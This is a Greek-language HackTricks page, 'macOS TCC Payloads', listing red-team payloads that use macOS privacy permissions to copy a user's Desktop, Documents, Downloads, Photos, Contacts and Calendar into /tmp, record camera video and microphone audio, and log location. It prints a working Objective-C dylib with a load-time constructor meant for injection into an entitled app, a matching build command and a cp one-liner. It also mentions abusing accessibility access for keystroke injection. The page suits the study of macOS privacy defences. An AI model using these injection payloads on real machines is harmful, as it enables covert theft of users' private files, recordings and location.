macOS TCC Payloads

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Επιφάνεια εργασίας

  • Δικαίωμα: Κανένα

  • TCC: kTCCServiceSystemPolicyDesktopFolder

Αντιγράψτε το $HOME/Desktop στο /tmp/desktop.

Έγγραφα

  • Δικαίωμα: Κανένα

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

Αντιγράψτε το $HOME/Documents στο /tmp/documents.

Λήψεις

  • Δικαίωμα: Κανένα

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

Αντιγράψτε το $HOME/Downloads στο /tmp/downloads.

Βιβλιοθήκη Φωτογραφιών

  • Προνόμιο: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

Αντιγράψτε το $HOME/Pictures/Photos Library.photoslibrary στο /tmp/photos.

Επαφές

  • Δικαίωμα: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

Αντιγράψτε το $HOME/Library/Application Support/AddressBook στο /tmp/contacts.

Ημερολόγιο

  • Δικαίωμα: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

Αντιγράψτε το $HOME/Library/Calendars στο /tmp/calendars.

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

Αντιγράψτε το $HOME/Library/Calendars στο /tmp/calendars.

cp -r "$HOME/Library/Calendars" "/tmp/calendars"

Καταγράψτε ένα βίντεο διάρκειας 3 δευτερολέπτων και αποθηκεύστε το στο /tmp/recording.mov

Μικρόφωνο

  • Προνόμιο: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

Εγγράψτε 5 δευτερόλεπτα ήχου και αποθηκεύστε το στο /tmp/recording.m4a

Τοποθεσία

Για να μπορεί μια εφαρμογή να λάβει την τοποθεσία, πρέπει να είναι ενεργοποιημένες οι Υπηρεσίες Τοποθεσίας (από τις Ρυθμίσεις Απορρήτου & Ασφάλειας), αλλιώς δεν θα μπορεί να την αποκτήσει.

  • Entitlement: com.apple.security.personal-information.location

  • TCC: Χορηγήθηκε στο /var/db/locationd/clients.plist

Γράψτε την τοποθεσία στο /tmp/logs.txt

Η πρόσβαση στην προσβασιμότητα είναι μια πολύ ισχυρή άδεια, μπορείτε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα μπορείτε να πραγματοποιήσετε επίθεση με πληκτρολόγηση μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε το System Events.

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated